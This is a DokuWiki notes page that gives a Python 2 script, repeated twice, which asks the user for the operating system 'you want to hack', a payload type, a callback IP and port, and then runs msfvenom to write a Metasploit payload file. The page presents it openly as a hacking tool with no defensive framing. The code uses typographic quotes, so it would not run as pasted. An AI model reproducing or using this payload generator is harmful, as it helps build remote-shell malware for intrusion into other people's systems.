dardan:cyberacademy:python:generate_msf

@#!/usr/bin/python

import os

import sys

print “-“*100

print (“\t\t\tCreating a payload of your choice”)

print ”-“*100

sistemi = raw_input(“\nType the os that you want to hack: ”)

shell = raw_input(“Type the payload form: ”)

bind = raw_input(“Type the communication form that u want to use: ”)

ip = raw_input(“Type you local ip: ”)

port = raw_input(“Type your port: ”)

format = raw_input(“Type format of the saving payload: ”)

name = raw_input(“Type the name of the paylaod: ”)

print ”-“*100

print “Now we will generate you payload, be patient….:)”

print ”-“*100

os.system(“msfvenom -p %s/%s/%s LHOST=%s LPORT=%s -f %s > %s.%s” %(sistemi, shell, bind, ip, port, format, name, format))

print ”-“*100

print “Now its doneee”

print ”-“*100

import os

import sys

print (”—————————————————————————————————————-”)

print (“ Creating a payload of your choice”)

print (“—————————————————————————————————————-”)

sistemi = raw_input(“Type the os that you want to hack: ”)

shell = raw_input(“Type the payload form: ”)

bind = raw_input(“Type the communication form that u want to use: ”)

ip = raw_input(“Type you local ip: ”)

port = raw_input(“Type your port: ”)

format = raw_input(“Type format of the saving payload: ”)

name = raw_input(“Type the name of the paylaod: ”)

print “—————————————————————————————————————-”

print “ Now we will generate you payload, be patient….:) ”

print “—————————————————————————————————————”

os.system(“msfvenom -p %s/%s/%s LHOST=%s LPORT=%s -f %s > %s.%s” %(sistemi, shell, bind, ip, port, format, name, format))

print “—————————————————————————————————————-”

print “ Now its doneee ”

print “—————————————————————————————————————-”

dardan/cyberacademy/python/generate_msf.txt · Last modified: 2018/09/10 19:39 by dardan

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki